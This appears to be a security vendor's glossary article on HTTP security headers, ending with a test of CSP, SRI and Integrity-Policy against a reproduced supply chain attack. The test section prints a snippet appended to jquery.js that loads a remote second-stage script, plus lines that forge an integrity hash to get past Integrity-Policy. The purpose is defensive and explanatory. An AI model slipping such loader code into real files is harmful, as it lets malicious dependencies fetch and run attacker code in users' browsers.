Back to glossary

Security Headers

Security headers are HTTP response headers that tell the browser which protections to enforce, such as HTTPS-only access, script sources, and framing rules.

Also known as HTTP security headers, HTTP response security headers, HSTS, HTTP Strict Transport Security, Strict-Transport-Security

Security headers are HTTP response headers that instruct the browser to enforce protections the server cannot enforce itself: HTTPS-only connections, approved script sources, framing rules, and strict MIME handling. Each header is a policy the browser applies to one response. Security headers limit what injected or third-party code can load and send, not whether that code arrives.

A server loses control of its content the moment the bytes leave. The browser then decides whether to follow an http:// link, run a script from another host, render the page inside someone else's frame, or execute a file labeled as text. By default it allows all four, because the early web was built on that permissiveness. Security headers flip those defaults, one response at a time.

Our position: every HTML response should carry Strict-Transport-Security, a nonce-based Content-Security-Policy that includes frame-ancestors, and X-Content-Type-Options: nosniff. Most sites still do not. The HTTP Archive's 2025 Web Almanac found a Content-Security-Policy on only 21.9% of pages and HSTS on 36% of mobile pages. And no header, however strict, can tell a compromised dependency apart from your own code. We show that in Chromium below.

How do security headers work?

#

Security headers work by attaching a policy to a response, which the browser enforces before it loads, renders, frames, or connects on behalf of that document.

Three properties follow from that design.

  • Enforcement is client-side. A browser that does not implement a header gets no protection from it, and non-browser HTTP clients do not apply CSP or framing rules at all.
  • Policy arrives with the response. The browser cannot enforce a header it has not received yet. That is the root of HSTS's first-visit problem, covered below.
  • Security headers mostly restrict. They remove capabilities the browser would otherwise grant. CORS is the notable exception: it relaxes the same-origin policy, so it is an access-control mechanism rather than a hardening header.

The fastest way to see a complete set is to run a library that generates one. helmet is the middleware Express's own security guide recommends, and npm counted 19,294,395 downloads of it in the week of September 28, 2026. We ran helmet 8.3.0 with Express 5.3.0 on Node.js 22 and requested the root page:

Bash
$ curl -sI http://localhost:3000/
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Origin-Agent-Cluster: ?1
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 0

Read top to bottom, that response tells the browser: run scripts only from this origin and never from inline event handlers; refuse to be framed by other sites; keep this window out of other origins' reach; send no referrer; use HTTPS for this host and every subdomain for one year; never guess a MIME type; and switch off the legacy XSS filter. Twelve lines, and none of them changes a byte of the page itself.

What are the most important security headers?

#

The most important security headers are Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options, and a framing control. Those four close the most common browser-side attacks for the least deployment risk. The table below is our verdict on every header you are likely to find in a scanner report or an old config.

HeaderWhat it stopsWhat it does not stopVerdict
Strict-Transport-SecuritySSL stripping and HTTP downgrades; clicking through certificate errorsThe first visit before the browser has seen the header, unless the domain is preloadedSend on every HTTPS response, max-age=31536000 or more
Content-Security-PolicyInjected scripts (XSS), loads from unlisted origins, exfiltration via connect-src, framing via frame-ancestorsMalicious code inside a script the policy trusts; top-level redirectsSend on every HTML response, nonce- or hash-based
X-Content-Type-Options: nosniffA browser executing an upload or JSON response as script or CSS because it guessed the typeA file correctly served as JavaScriptSend on every response
X-Frame-OptionsOther sites framing your page for clickjacking in browsers without frame-ancestorsOverlays that use no frame; ignored when frame-ancestors is presentSend DENY or SAMEORIGIN as a fallback
Referrer-PolicyFull URLs, including paths and tokens, leaking to other sites in the Referer headerData sent in request bodies or other headersSend strict-origin-when-cross-origin or stricter
Permissions-PolicyThe page and its frames using camera, microphone, geolocation, and other powerful APIsScripts that only need the DOM and the networkSend, disabling every feature you do not use
Cross-Origin-Opener-PolicyCross-origin windows keeping a handle to yours via window.opener; some cross-site leaksAttacks from your own originSend same-origin, or same-origin-allow-popups if you rely on OAuth popups
Cross-Origin-Resource-PolicyOther sites embedding your resources and reading them via side channelsRequests your own pages makeSend same-origin on non-public resources
Integrity-PolicyScripts that load without SRI integrity metadataA malicious file whose hash you pinned; a trusted script that supplies its own hashDeploy report-only first; enforce where browser support fits
X-XSS-ProtectionNothing in current Chromium; the filter could itself create XSS bugsEverythingDrop it, or send 0
Expect-CTNothing; Chromium enforces Certificate Transparency by defaultEverythingDrop it
Public-Key-Pins (HPKP)Nothing; Chrome removed support in version 72EverythingDrop it

A Content Security Policy is the only header in that set that constrains script execution. It decides which sources may run code in the page, which makes it the main browser-side mitigation for cross-site scripting (XSS). The other headers each close one narrower door.

Permissions-Policy applies the principle of least privilege to browser features. A page that never uses the camera should say so, and then no embedded frame or injected script can request it. Feature-Policy was its predecessor; send Permissions-Policy instead.

Framing controls stop one specific attack: loading your page in an invisible frame and tricking the user into clicking through it. Browsers that support CSP frame-ancestors ignore X-Frame-Options when both are sent, and MDN notes that modern browsers ignore the whole header if it uses the obsolete ALLOW-FROM value. Neither control helps when no frame is involved. In Marek Tóth's DEF CON 33 password manager clickjacking research, a malicious page overlaid its own elements on the UI that password manager extensions inject into the DOM. There is no frame for a framing header to block.

Legacy headers deserve a deliberate removal, not neglect. Chrome removed its XSS Auditor in Chrome 78, and MDN warns that "X-XSS-Protection can create XSS vulnerabilities in otherwise safe websites." That is why helmet sends X-XSS-Protection: 0. Chromium deprecated Expect-CT in version 107 because it now enforces Certificate Transparency by default, and Chrome removed HTTP Public Key Pinning in Chrome 72. The legacy headers linger even on well-run sites. As of November 9, 2026, https://pypi.org/ still sends X-XSS-Protection: 1; mode=block, which Chromium-based browsers no longer act on.

How does HTTP Strict Transport Security work?

#

HTTP Strict Transport Security (HSTS) works by telling the browser to rewrite every http:// URL for a host to https:// internally, before any request leaves the machine, for max-age seconds. RFC 6797 standardized it in November 2012.

The problem it solves is SSL stripping. A user types example.com, the browser sends a plaintext request, and the server answers with a 301 redirect to HTTPS. An attacker on the network path can answer that first plaintext request instead, proxy the real site over HTTPS on the user's behalf, and keep the user on http:// indefinitely. A redirect cannot fix this, because the redirect itself travels in plaintext. HSTS removes the plaintext request entirely once the browser has seen the header.

This is what PyPI sends, fetched on November 9, 2026:

HTTP
strict-transport-security: max-age=31536000; includeSubDomains; preload
  • max-age=31536000 keeps the policy for one year from the last response that carried it. Each response that carries the header refreshes the timer.
  • includeSubDomains extends the policy to every subdomain, including ones you forgot exist.
  • preload signals consent to be compiled into browsers' built-in HSTS list.

HSTS also removes the user's ability to click through a certificate warning. RFC 6797 is explicit: "When connecting to a Known HSTS Host, the UA MUST terminate the connection if there are any errors." For a known HSTS host, an expired certificate or an interception proxy becomes a hard failure, not a dialog.

The first visit remains the gap. RFC 6797 calls it the bootstrap MITM problem: until the browser has received the header once over a clean HTTPS connection, it has no policy to enforce. The preload list closes that gap by shipping the policy inside the browser. hstspreload.org requires a max-age of at least 31536000 seconds, plus includeSubDomains and preload, and an HTTP-to-HTTPS redirect on the same host.

Each setting has a cost. Preloading is close to permanent: the submission site warns that removal "takes months for a change to reach users with a Chrome update." includeSubDomains breaks any subdomain that cannot serve HTTPS, including internal hosts that are not publicly reachable. The safe rollout is a short max-age such as 300 seconds, then one week, then one year, and preload only after every subdomain has served HTTPS cleanly at the one-year value.

HSTS protects the connection, not the content. A compromised CDN serves malware over a perfectly valid TLS connection, and HSTS will enforce that connection faithfully.

Can security headers stop a supply chain attack?

#

Security headers can limit what a compromised dependency loads and where it sends data. They cannot stop malicious code that runs inside a script the browser already trusts. A supply chain attack reaches the browser through one of two doors, and the headers behave differently at each.

A third-party host goes bad. In the Polyfill.io supply chain attack, the domain changed hands on February 24, 2024, and the new owner served malware to mobile visitors of more than 110,000 websites. Any site that listed https://cdn.polyfill.io in its script-src was instructing the browser to run that malware. Subresource Integrity (SRI) normally closes this door by pinning a script's hash, but polyfill.io generated its code per request from HTTP headers, so there was no stable file to hash. Andrew Betts, who created the Polyfill Service, said it directly: "If you own a website, loading a script implies an incredible relationship of trust with that third party."

A bundled dependency goes bad. In March 2026, Socket's Threat Research Team found six malicious Packagist themes that shipped trojanized jQuery and FUNNULL redirect payloads. Each malicious package, published under the ophimcms namespace, bundled a real jQuery build with extra code appended. That code loaded second-stage scripts from userstat[.]net and union[.]macoms[.]la, and the FUNNULL stage redirected mobile visitors with window.location.replace(). The site served the trojanized file from its own origin. To the browser, it was 'self'.

We tested six header configurations

#

We reproduced the bundled case in headless Chromium 153. A page served a same-origin jquery.js whose first stage did what the ophimcms payloads did: append a script element that fetches a second stage from another origin.

JavaScript
// appended to an otherwise clean jquery.js
var s = document.createElement("script");
s.src = "http://127.0.0.1:8002/stage2.js";
document.head.appendChild(s);

We then served the page under six configurations and checked whether each stage ran.

SOLID: A LOAD A HEADER CAN CHECKDASHED: CODE RUNNING, NO HEADER ACTS 1HTML document over HTTPSStrict-Transport-Security enforces the connection 2<script src="/jquery.js">CSP script-src, SRI, Integrity-Policy check it.Same origin, valid nonce or hash: passes. 3Stage 1 executesTrojan code runs with the page's full authority.No header inspects what a script does. 4createElement("script") → stage2.jsscript-src 'self' blocks it. 'strict-dynamic'allows it. Integrity-Policy blocks it unlessstage 1 attaches its own integrity hash. 5fetch() / sendBeacon() to attackerCSP connect-src blocks hosts not on the list 6window.location.replace(attacker)Top-level navigation. No CSP directive governs it;helmet's full default policy let it through. Results from our test in headless Chromium 153.Payload pattern from the ophimcms Packagist themes.

Figure 1 traces the chain step by step. Step 1, the HTML document, arrives over a connection that Strict-Transport-Security enforces. Step 2, the <script src="/jquery.js"> tag, is checked by CSP script-src, by SRI, and by Integrity-Policy, and it passes because it is same-origin and carries a valid nonce or hash. Step 3, stage 1 executing, is checked by nothing: the trojan runs with the page's full authority. Step 4, the injected stage2.js script element, is blocked by script-src 'self', allowed by 'strict-dynamic', and blocked by Integrity-Policy unless stage 1 attaches its own integrity hash. Step 5, a fetch() or sendBeacon() to the attacker, is blocked by CSP connect-src when the host is not listed. Step 6, window.location.replace(), is checked by nothing, and helmet's full default policy let it through. The table gives the exact result of each configuration.

ConfigurationTrojanized jquery.js (stage 1)Remote stage2.js (stage 2)
1. script-src 'self' (helmet default)RanBlocked by script-src
2. script-src 'nonce-…' 'strict-dynamic'RanRan
3. script-src 'self' + SRI hash of clean upstream jQuery + Integrity-PolicyBlocked by SRINever requested
4. 'strict-dynamic' + SRI hash computed at build time from the installed fileRanRan
5. Row 4 + Integrity-Policy: blocked-destinations=(script)RanBlocked by Integrity-Policy
6. Row 5, with stage 1 setting its own integrity hash and crossorigin on stage 2RanRan

Four findings stand out.

The host allowlist did the most useful work. script-src 'self', which is helmet's default, blocked the second stage, but only because the attacker's host was not on the list. The trojanized first stage still ran. An attacker who inlines the whole payload into stage one never needs a second request.

'strict-dynamic' let the second stage through. MDN describes it as propagating a nonced script's trust "to all the scripts loaded by that root script." That is the right trade against XSS and the wrong one against a compromised dependency. Our Content Security Policy entry shows the same failure with a fetch-hooking payload that no CSP directive inspects.

SRI only protects you if the hash came from bytes you trust. Hashing the clean upstream jQuery blocked the trojanized file. Hashing the file at build time, from whatever npm install or composer install delivered, pinned the trojan and changed nothing.

Integrity-Policy, the newest header in this article, blocked the naive second stage in row 5. With Integrity-Policy: blocked-destinations=(script), the browser refuses any script that lacks integrity metadata. As of November 2026, MDN's compatibility data lists support from Chrome 138, Firefox 145 (partial), and Safari 26. For row 6, we gave the first stage two more lines and served stage two with Access-Control-Allow-Origin: *:

JavaScript
s.crossOrigin = "anonymous";
s.integrity = "sha384-<hash of stage2.js, computed by the attacker>";

The second stage ran again. Integrity-Policy proves that each script matches the hash some trusted code declared for it. It cannot prove that the declaring code is honest, and a compromised dependency is trusted code.

One more test shows the hard limit. Under helmet's complete default CSP, a same-origin script that calls window.location.replace() sent the browser to the attacker's page. CSP has no directive that governs top-level navigation, and that call is exactly how the FUNNULL chain delivered visitors to its gambling and adult sites.

The defensible conclusion is narrow. Security headers bound the blast radius of code you did not mean to trust. The decision about which code to trust has to happen before it ships. The ophimcms payloads sat in bundled JavaScript assets, and nothing in the themes' PHP code or composer.json looked wrong. Socket analyzes the files inside each package version, including bundled front-end assets, and raises alerts such as Network access and Obfuscated code based on what the code does.

Security headers are a dependency too

#

Security headers are configuration, and in most stacks that configuration ships through code you did not write. Express apps get them from helmet. Next.js apps declare them in next.config.js. Reverse proxies, CDNs, and hosting platforms add, override, or strip them on the way out. Two layers that each send a Content-Security-Policy produce two policies, and the browser enforces both, so every load must satisfy both.

The only copy that matters is the one on the wire. Middleware defaults can change between major versions, and an edge rule can silently remove a header your application set. So we check the deployed response, not the config file. This script runs in a deploy pipeline and fails the release when the live HTML response loses a baseline header:

Bash
#!/usr/bin/env bash
# Fail a deploy when the live HTML response is missing a baseline security header.
set -uo pipefail
url="${1:?usage: check-headers.sh https://example.com/}"
h="$(curl -sS -o /dev/null -D - "$url" | tr -d '\r' | tr 'A-Z' 'a-z')"
fail=0
need() { grep -qE "$1" <<<"$h" || { echo "FAIL: $2"; fail=1; }; }
need '^content-security-policy: .*(script-src|default-src)'                   'CSP that governs scripts'
need '^content-security-policy: .*frame-ancestors|^x-frame-options: (deny|sameorigin)' 'framing control'
need '^x-content-type-options: nosniff'                                       'X-Content-Type-Options: nosniff'
age="$(grep -oE '^strict-transport-security: max-age=[0-9]+' <<<"$h" | grep -oE '[0-9]+$')"
[ "${age:-0}" -ge 31536000 ] || { echo "FAIL: HSTS max-age below 31536000 (got ${age:-none})"; fail=1; }
grep -qE '^x-xss-protection: 1' <<<"$h" && echo "WARN: legacy X-XSS-Protection filter header"
[ "$fail" -eq 0 ] && echo "OK: $url"
exit "$fail"

Against the helmet server above it prints OK. Against https://pypi.org/ it prints OK plus the legacy-header warning. Most dynamic application security testing (DAST) scanners check for the same headers, but they usually run on a schedule. A check in the pipeline fails the release that removed the header.

The check proves presence, not quality. A Content-Security-Policy with 'unsafe-inline' in script-src passes it, and the Web Almanac found that keyword in about 92% of the CSP headers it measured. Google's 2016 study, "CSP Is Dead, Long Live CSP!", found bypasses in 94.72% of 26,011 distinct policies. A header that is present but permissive is a compliance artifact, not a control.

Every header in this article acts on a connection, a load, or a frame. Integrity-Policy is the first that asks what a file is rather than where it came from, and it still asks one file at a time, after a bundler has merged hundreds of packages into one. The browser has no dependency boundary inside a bundle, so that boundary has to be enforced before install, not in a response header.